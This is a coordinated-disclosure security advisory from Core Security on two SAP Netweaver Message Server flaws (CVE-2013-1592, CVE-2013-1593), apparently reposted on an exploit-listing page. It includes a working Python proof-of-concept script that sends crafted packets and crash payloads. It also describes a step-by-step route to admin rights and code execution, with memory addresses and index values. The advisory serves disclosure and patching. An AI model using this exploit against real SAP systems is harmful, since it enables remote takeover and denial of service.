Author

Core Security

Risk

[

Security Risk High

]

0day-ID

0day-ID-20378

Category

remote exploits

Date add

16-02-2013

CVE

CVE-2013-1592
CVE-2013-1593

Platform

windows

Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

CORE-2012-1128


1. *Advisory Information*

Title: SAP Netweaver Message Server Multiple Vulnerabilities
Advisory ID: CORE-2012-1128
Advisory URL:
http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities
Date published: 2013-02-13
Date of last update: 2013-02-13
Vendors contacted: SAP
Release mode: Coordinated release



2. *Vulnerability Information*

Class: Improper Validation of Array Index [CWE-129], Buffer overflow
[CWE-119]
Impact: Code execution, Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1592, CVE-2013-1593



3. *Vulnerability Description*

SAP Netweaver [1] is a technology platform for building and integrating
SAP business applications. Multiple vulnerabilities have been found in
SAP Netweaver that could allow an unauthenticated remote attacker to
execute arbitrary code and lead to denial of service conditions. The
vulnerabilities are triggered sending specially crafted SAP Message
Server packets to remote TCP ports 36NN and/or 39NN (being NN the SAP
system number) of a host running the 'Message Server' service, part of
SAP Netweaver Application Server ABAP. By sending different messages,
the different vulnerabilities can be triggered.


4. *Vulnerable packages*

   . SAP Netweaver 2004s (msg_server.exe version v6400.61.11.10122)
   . SAP Netweaver 7.01 SR1 (msg_server.exe version v7010.29.15.58313)
   . SAP Netweaver 7.02 SP06 (msg_server.exe version v7200.70.18.23869)
   . SAP Netweaver 7.30 SP04 (msg_server.exe version v7200.201.0.0)
   . Older versions are probably affected too, but they were not checked.

5. *Non-vulnerable packages*

   . Vendor did not provide this information.

6. *Vendor Information, Solutions and Workarounds*

SAP released the security note 1800603 [2] regarding these issues.
Contact SAP for further information.


7. *Credits*

Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and
Francisco Falcon, and additional research was performed by Francisco
Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by
Martin Gallo from Core Security Consulting Services. The publication of
this advisory was coordinated by Fernando Miranda from Core Advisories
Team.


8. *Technical Description / Proof of Concept Code*

The following python script is the main PoC that can be used to
reproduce all vulnerabilities described below:

/-----
import socket, struct
from optparse import OptionParser

# Parse the target options
parser = OptionParser()
parser.add_option("-d", "--hostname", dest="hostname", help="Hostname",
default="localhost")
parser.add_option("-p", "--port", dest="port", type="int", help="Port
number", default=3900)
(options, args) = parser.parse_args()

client_string = '-'+' '*39
server_name = '-'+' '*39

def send_packet(sock, packet):
    packet = struct.pack("!I", len(packet)) + packet
    sock.send(packet)

def receive(sock):
    length = sock.recv(4)
    (length, ) = struct.unpack("!I", length)
    data = ""
    while len(data)<length:
        data+= sock.recv(length)
    return (length, data)

def initialize_connection(hostname, port):

    # Connect
    print "[*] Connecting to", hostname, "port", port
    connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connection.connect((hostname, port))

    # Send initialization packet
    print "[*] Conected, sending login request"

    init = '**MESSAGE**\x00' # eyecatcher
    init+= '\x04' # version
    init+= '\x00' # errorno
    init+= client_string # toname
    init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
    init+= '\x01\x08' # flag / iflag (MS_LOGIN_2)
    init+= client_string # fromname
    init+= '\x00\x00' # padd
    send_packet(connection, init)

    # Receive response
    print "[*] Receiving login reply"
    (length, data) = receive(connection)

    # Parsing login reply
    server_name = data[4+64:4+64+40]

    return connection

# Main PoC body
connection = initialize_connection(options.hostname, options.port)
send_attack(connection)

-----/


In the following subsections, we give the python code that can be added
after the script above in order to reproduce all vulnerabilities.


8.1. *SAP Netweaver Message Server _MsJ2EE_AddStatistics Vulnerability*

[CVE-2013-1592] The vulnerability can be triggered when SAP Netweaver
'msg_server.exe' module processes a specially crafted network packet
containing a request with 'iflag' value 0x0c
'MS_J2EE_SEND_TO_CLUSTERID', or 0x0d 'MS_J2EE_SEND_BROADCAST'. Malicious
packets are processed by the vulnerable function '_MsJ2EE_AddStatistics'
in the 'msg_server.exe' module. This vulnerability might allow a remote,
unauthenticated attacker to execute arbitrary code with the privileges
of the user running the 'Message Server' service or conduct a denial of
service attack against the vulnerable systems.

The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a
'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled
by the attacker. This struct type is defined as follows:

/-----
00000000 MSJ2EE_HEADER   struct ; (sizeof=0x28, standard type)
00000000 senderclusterid dd ?
00000004 clusterid       dd ?
00000008 serviceid       dd ?
0000000C groupid         dd ?
00000010 nodetype        db ?
00000011                 db ? ; undefined
00000012                 db ? ; undefined
00000013                 db ? ; undefined
00000014 totallength     dd ?
00000018 currentlength   dd ?
0000001C currentoffset   dd ?
00000020 totalblocks     db ?
00000021 currentblock    db ?
00000021
00000022                 db ? ; undefined
00000023                 db ? ; undefined
00000024 messagetype     dd ?
00000028 MSJ2EE_HEADER   ends
-----/
 The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the
'MSJ2EE_HEADER' to calculate an index to write into the
'j2ee_stat_services' global array, without properly validating that the
index is within the boundaries of the array. On the other hand,
'j2ee_stat_services' is a global array of 256 elements of type
'MSJ2EE_STAT_ELEMENT':

/-----
.data:0090B9E0    ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]
.data:0090B9E0    j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>)
.data:0090B9E0    ; DATA XREF: _MsJ2EE_AddStatistics+24o
.data:0090B9E0    ; _MsJ2EE_AddStatistics+4Co ...

-----/
 This vulnerability can be used to corrupt arbitrary memory with
arbitrary values, with some restrictions. The following snippet shows
the vulnerable code within the '_MsJ2EE_AddStatistics' function:

/-----
mov     edi, [ebp+pJ2eeHeader]
mov     eax, [edi+MSJ2EE_HEADER.serviceid]              ;attacker
controls MSJ2EE_HEADER.serviceid
xor     ecx, ecx
cmp     dword ptr j2ee_stat_total.totalMsgCount+4, ecx
lea     esi, [eax+eax*8]
lea     esi, j2ee_stat_services.totalMsgCount[esi*8]    ;using the index
without validating array bounds

-----/
 Since the 'serviceid' value is first multiplied by 9 and then it is
multiplied by 8, the granularity of the memory addresses that can be
targeted for memory corruption is 0x48 bytes, which is the size of the
'MSJ2EE_STAT_ELEMENT' struct:

/-----
00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type)
00000000                                         ; XREF:
.data:j2ee_stat_totalr
00000000                                         ; .data:j2ee_stat_servicesr
00000000 totalMsgCount   dq ?                    ; XREF:
_MsJ2EE_AddStatistics+1Br
00000000                                         ;
_MsJ2EE_AddStatistics+2Fr ...
00000008 totalMsgLength  dq ?                    ; XREF:
_MsJ2EE_AddStatistics+192r
00000008                                         ;
_MsJ2EE_AddStatistics+19Br ...
00000010 avgMsgLength    dq ?                    ; XREF:
_MsJ2EE_AddStatistics+1C2w
00000010                                         ;
_MsJ2EE_AddStatistics+1C7w ...
00000018 maxLength       dq ?                    ; XREF:
_MsJ2EE_AddStatistics+161r
00000018                                         ;
_MsJ2EE_AddStatistics+16Er ...
00000020 noP2PMessage    dq ?                    ; XREF:
_MsJ2EE_AddStatistics:loc_44D442w
00000020                                         ;
_MsJ2EE_AddStatistics+158w ...
00000028 noP2PRequest    dq ?                    ; XREF:
_MsJ2EE_AddStatistics+144w
00000028                                         ;
_MsJ2EE_AddStatistics+14Aw ...
00000030 noP2PReply      dq ?                    ; XREF:
_MsJ2EE_AddStatistics+132w
00000030                                         ;
_MsJ2EE_AddStatistics+138w ...
00000038 noBroadcastMessage dq ?                 ; XREF:
_MsJ2EE_AddStatistics:loc_44D40Dw
00000038                                         ;
_MsJ2EE_AddStatistics+123w ...
00000040 noBroadcastRequest dq ?                 ; XREF:
_MsJ2EE_AddStatistics+10Fw
00000040                                         ;
_MsJ2EE_AddStatistics+115w ...
00000048 MSJ2EE_STAT_ELEMENT ends

-----/
 However, it is possible to use different combinations of the
'flag/iflag' values in the Message Server packet to gain more precision
over the memory addresses that can be corrupted. Different combinations
of 'flag/iflag' values provide different memory corruption primitives,
as shown below:

/-----
At this point:
 * ESI points to an arbitrary, attacker-controlled memory address
 * EBX == 1

.text:0044D359                 movzx   eax, [ebp+msiflag]
.text:0044D35D                 sub     eax, 0Ch
.text:0044D360                 jz      short loc_44D37C
.text:0044D362                 sub     eax, ebx
.text:0044D364                 jnz     short loc_44D39D
.text:0044D366                 cmp     [ebp+msflag], 2
.text:0044D36A                 jnz     short loc_44D374
.text:0044D36C                 add     [esi+40h], ebx  ; iflag=0xd,
flag=2 => add 1 to [esi+0x40]
.text:0044D36F                 adc     [esi+44h], ecx
.text:0044D372                 jmp     short loc_44D39D
.text:0044D374 ;
---------------------------------------------------------------------------
.text:0044D374
.text:0044D374 loc_44D374:                             ; CODE XREF:
_MsJ2EE_AddStatistics+7Aj
.text:0044D374                 add     [esi+38h], ebx  ; iflag=0xd,
flag=1 => add 1 to [esi+0x38]
.text:0044D377                 adc     [esi+3Ch], ecx
.text:0044D37A                 jmp     short loc_44D39D
.text:0044D37C ;
---------------------------------------------------------------------------
.text:0044D37C
.text:0044D37C loc_44D37C:                             ; CODE XREF:
_MsJ2EE_AddStatistics+70j
.text:0044D37C                 mov     al, [ebp+msflag]
.text:0044D37F                 cmp     al, 3
.text:0044D381                 jnz     short loc_44D38B
.text:0044D383                 add     [esi+30h], ebx  ; iflag=0xc,
flag=3 => add 1 to [esi+0x30]
.text:0044D386                 adc     [esi+34h], ecx
.text:0044D389                 jmp     short loc_44D39D
.text:0044D38B ;
---------------------------------------------------------------------------
.text:0044D38B
.text:0044D38B loc_44D38B:                             ; CODE XREF:
_MsJ2EE_AddStatistics+91j
.text:0044D38B                 cmp     al, 2
.text:0044D38D                 jnz     short loc_44D397
.text:0044D38F                 add     [esi+28h], ebx  ; iflag=0xc,
flag=2 => add 1 to [esi+0x28]
.text:0044D392                 adc     [esi+2Ch], ecx
.text:0044D395                 jmp     short loc_44D39D
.text:0044D397 ;
---------------------------------------------------------------------------
.text:0044D397
.text:0044D397 loc_44D397:                             ; CODE XREF:
_MsJ2EE_AddStatistics+9Dj
.text:0044D397                 add     [esi+20h], ebx  ; iflag=0xc,
flag=1 => add 1 to [esi+0x20]
.text:0044D39A                 adc     [esi+24h], ecx

[...]

-----/
 And the following code excerpt is always executed within the
'_MsJ2EE_AddStatistics' function, providing two more memory corruption
primitives:

/-----
.text:0044D3B7                 add     [esi],
ebx                               ;add 1 to [esi]
.text:0044D3B9                 adc     dword ptr [esi+4], 0
.text:0044D3BD                 mov     eax,
[edi+MSJ2EE_HEADER.totallength]     ;MSJ2EE_HEADER.totallength is fully
controlled by the attacker
.text:0044D3C0                 cdq
.text:0044D3C1                 add     [esi+8],
eax                             ;add an arbitrary number to [esi+8]

-----/
 This memory corruption vulnerability can be used by remote
unauthenticated attackers to execute arbitrary code on vulnerable
installations of SAP Netweaver, but it can also be abused to modify the
internal state of the vulnerable service in order to gain administrative
privileges within the SAP Netweaver Message Server.

A client connected to the Message Server may have administrative
privileges or not. The Message Server holds a structure of type
'MSADM_s' for each connected client, which contains information about
that very connection. Relevant parts of the 'MSADM_s' struct type are
shown below:

/-----
00000000 MSADM_s         struc ; (sizeof=0x538, standard type)
00000000                                         ; XREF: .data:dummy_clientr
00000000 client_type     dd ?                    ; enum MS_CLIENT_TYPE
00000004 stat            dd ?                    ; enum MS_STAT
00000008 connection_ID   dd ?
0000000C status          db ?
0000000D dom             db ?                    ; XREF: MsSFillCon+3Cw
0000000E admin_allowed   db ?
0000000F                 db ? ; undefined
00000010 name            dw 40 dup(?)
[...]
00000534 _padding        db 4 dup(?)
00000538 MSADM_s         ends

-----/
 The 'admin_allowed' field at offset 0x0E is a boolean value that
indicates whether the connected client has administrative privileges or
not. When a new client connects, the 'MsSLoginClient' function of the
Message Server sets the proper value for the 'admin_allowed' field in
the 'MSADM_s' struct instance associated with that client:

/-----
.text:004230DC
loc_4230DC:                                                  ; CODE
XREF: MsSLoginClient+AAAj
.text:004230DC
   ; MsSLoginClient+B26j
.text:004230DC                 cmp     byte ptr [edi+0Eh],
0                ; privileged client?
.text:004230E0                 jnz     short
loc_4230EA                     ; if yes, jump
.text:004230E2                 mov     al, byte ptr
ms_admin_allowed        ; otherwise, grab the value of the
"ms_admin_allowed" global variable...
.text:004230E7                 mov     [edi+0Eh],
al                        ; ...and save it to MSADM_s.admin_allowed

-----/
 So if we manage to overwrite the value of the 'ms_admin_allowed' global
variable with a value different than 0, then we can grant administrative
privileges to our unprivileged connections. In SAP Netweaver
'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global
variable is located at '0x008f17f0':

/-----
.data:008F17F0 ; int ms_admin_allowed
.data:008F17F0 ms_admin_allowed dd ?                   ; DATA XREF:
MsSSetMonitor+7Ew
.data:008F17F0                                         ; MsSLoginClient+B62r

-----/
 And the 'j2ee_stat_services' global array, which is the array that can
be indexed outside its bounds, is located at '0x0090b9e0':

/-----
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>)
.data:0090B9E0                                         ; DATA XREF:
_MsJ2EE_AddStatistics+24o
.data:0090B9E0                                         ;
_MsJ2EE_AddStatistics+4Co ...

-----/
 So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be
targeting '0x008F17C8' as the base address for memory corruption. Having
in mind the different memory corruption primitives based on combinations
of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and
'flag == 0x2' in our Message Server packet we will be able to add 1 to
'[0x008F17C8+0x28]', effectively overwriting the contents of
'0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed',
all of our future connections will have administrative privileges within
the Message Server.

After gaining administrative privileges for our future connections,
there are at least two possible paths of exploitation:

   1. Gain remote code execution by overwriting function pointers. Of
course it is not mandatory to have administrative privileges in order to
overwrite function pointers, but considering the limitation of
targetable addresses imposed by the little granularity of the memory
corruption, some of the most handy-to-exploit function pointers happened
to be accessible just for administrative connections.
   2. Modify the configuration and behavior of the server. That includes
changing Message Server's runtime parameters and enabling Monitor Mode
in the affected server.

8.1.1. *Gaining remote code execution by overwriting function pointers*

Having in mind that the granularity of the memory addresses that can be
targeted for memory corruption is not that flexible (0x48 bytes) and the
limited memory corruption primitives available, it takes some effort to
find a function pointer that can be overwritten with a useful value and
which can be later triggered with a network packet.

One possibility is to overwrite one of the function pointers which are
in charge of handling the modification of Message Server parameters:

/-----
.data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58]

; function pointers associated to the modification of the "ms/max_sleep"
parameter
.data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER
<offset aMsMax_sleep, \
.data:0087DED0                                              offset
MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2"
.data:0087DED0                                              offset
MsSSetMaxSleep>

; function pointers associated to the modification of the "ms/max_vhost"
parameter
.data:0087DED0                 SHMPRF_CHANGEABLE_PARAMETER <offset
aMsMax_vhost, \
.data:0087DED0                                              offset
MsSTestInteger, \                    ;<-- we can overwrite this one
.data:0087DED0                                              offset
MsSSetMaxVirtHost>

[...]

-----/
 By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target
'0x0087DED8' as the base address for memory corruption. In this case we
can use the memory corruption primitive at address '0x0044D3C1' that
always gets executed, which will allow us to add an arbitrary number
(the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]'
effectively overwriting the function pointer shown above
('ms_changeable_parameter[1].set').

After that we need to send a 'MS_SET_PROPERTY' request, specifying
'ms/max_vhost' as the name of the property to be changed. This
'MS_SET_PROPERTY' packet will make our overwritten function pointer to
be called from the 'MsSChangeParam' function:

/-----
.text:00404DB3 loc_404DB3:                             ; CODE XREF:
MsSChangeParam+CDj
.text:00404DB3                 lea     esi, [edi+edi*2]
.text:00404DB6                 mov     edi, [ebp+pvalue]
.text:00404DB9                 add     esi, esi
.text:00404DBB                 mov     edx,
ms_changeable_parameter.test[esi+esi]
.text:00404DC2                 add     esi, esi
.text:00404DC4                 push    edi
.text:00404DC5                 push    pname
.text:00404DC6                 call    edx              ; call our
overwritten function pointer

-----/
'MS_SET_PROPERTY' packets will be ignored by the Message Server if the
requesting client does not have administrative privileges, so it is
necessary to gain administrative privileges as explained above before
using the memory corruption vulnerability to overwrite one of the
function pointers in the 'ms_changeable_parameter' global array.


8.1.2. *Modify the configuration and behavior of the server*

After gaining administrative privileges for our connections, it is
possible to perform 'MS_SET_PROPERTY' packets against the Message Server
in order to modify its configuration and behavior. That makes possible,
for example, to add virtual hosts to the load balancer, or to enable
Monitor Mode [3] (transaction SMMS) on the affected server. Enabling
Monitor Mode takes two steps:

   1. Send a 'MS_SET_PROPERTY' packet with property 'name ==
"ms/monitor"', property 'value == 1'.
   2. Send a 'MS_SET_PROPERTY' packet with property 'name ==
"ms/admin_port"', property 'value == 3535' (or any other arbitrary port
number).
After sending the second 'MS_SET_PROPERTY' packet, the SAP Netweaver
Message Server will start listening on the specified port, waiting for
connections from instances of the msmon.exe monitoring program [4].

The following python code can be used to trigger the vulnerability:

/-----
def send_attack(connection):
    print "[*] Sending crash packet"
    crash = '**MESSAGE**\x00' # eyecatcher
    crash+= '\x04' # version
    crash+= '\x00' # errorno
    crash+= server_name # toname
    crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
    crash+= '\x04\x0d' # flag/iflag
    crash+= client_string # fromname
    crash+= '\x00\x00' # padd

    crash+=
"ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd"
    crash+= "\x00\x00\x00\x01"
    crash+= "\xff\xff\xff\xff"
    crash+= "\x00\x00\x00\x00"
    send_packet(connection, crash)

    print "[*] Crash sent !"
-----/



8.2. *SAP Netweaver Message Server WRITE_C Vulnerability*

[CVE-2013-1593] The vulnerability can be triggered when SAP Netweaver
'msg_server.exe' module process a specially crafted network packet
containing a request with administrative opcode 0x15 'AD_RZL_STRG'.
Malicious packets are processed by the vulnerable function 'WRITE_C' in
the 'msg_server.exe' module. This vulnerability could allow a remote,
unauthenticated attacker to conduct a denial of service attack against
the vulnerable systems.

The following python code can be used to trigger the vulnerability:

/-----
def send_attack(connection):
    print "[*] Sending crash packet"
    crash = '**MESSAGE**\x00' # eyecatcher
    crash+= '\x04' # version
    crash+= '\x00' # errorno
    crash+= server_name # toname
    crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
    crash+= '\x04\x05' # flag/iflag
    crash+= client_string # fromname
    crash+= '\x00\x00' # padd

    crash+= "AD-EYECATCH\x00"
    crash+= "\x01\x01"
    crash+= "%11d" % 104
    crash+= "%11d" % 1
    crash+= "\x15\x00\x00\x00"
    crash+= "\x20\x00\x00\xc8"
    crash+= "LALA" + ' '*(20-4)
    crash+= "LOLO" + ' '*(40-4)
    crash+= " "*36
    send_packet(connection, crash)

    print "[*] Crash sent !"

-----/



9. *Report Timeline*
. 2012-12-10:
Core Security Technologies notifies the SAP team of the vulnerability,
setting the estimated publication date of the advisory for January 22nd,
2013.

. 2012-12-10:
Core sends an advisory draft with technical details and a PoC.

. 2012-12-11:
The SAP team confirms the reception of the issue.

. 2012-12-21:
SAP notifies that they concluded the analysis of the reported issues and
confirms two out of the five vulnerabilities. Vendor also notifies that
the other three reported issues were already fixed in February, 2012.
Vendor also notifies that the necessary code changes are being done and
extensive tests will follow. The corresponding security note and patches
are planned to be released on the Security Patch Day in Feb 12th 2013.

. 2012-12-21:
Core re-schedules the advisory publication for Feb 12th, 2013.

. 2012-12-28:
SAP notifies Core that they will be contacted if tests fails in order to
re-schedule the advisory publication.

. 2013-01-22:
First release date missed.

. 2013-01-28:
SAP notifies that they are still confident with releasing a security
note and patches on Feb 12th as planned.

. 2013-01-29:
Core acknowledges receiving the information and notifies that everything
is ready for public disclosing on Feb 12th. Core also asks additional
information regarding the patched vulnerabilities mentioned in
[2012-12-21], including links to security bulletin, CVEs, and patches in
order to verify if those patches effectively fix the reported flaws.

. 2013-02-01:
SAP notifies that the patched vulnerabilities mentioned in [2012-12-21]
were reported in [5] and no CVE were assigned to them. Those
vulnerabilities seems to be related to ZDI advisories [6], [7], [8].

. 2013-02-06:
Core notifies that the patched vulnerabilities will be removed from the
advisory and asks additional information regarding the affected and
patched version numbers.

. 2013-02-01:
SAP notifies that the security note 1800603 will be released and that
note will provide further information regarting this vulnerability.

. 2013-02-13:
Advisory CORE-2012-1128 published.


10. *References*

[1] http://www.sap.com/platform/netweaver/index.epx.
[2] SAP Security note Feb 2013
https://service.sap.com/sap/support/notes/1800603.
[3]
http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm.

[4]
http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm.

[5] SAP Security notes Feb 2012
https//service.sap.com/sap/support/notes/1649840.
[6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/.
[7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/.
[8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/.


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


12. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


13. *Disclaimer*

The contents of this advisory are copyright (c) 2012 Core Security
Technologies and (c) 2012 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

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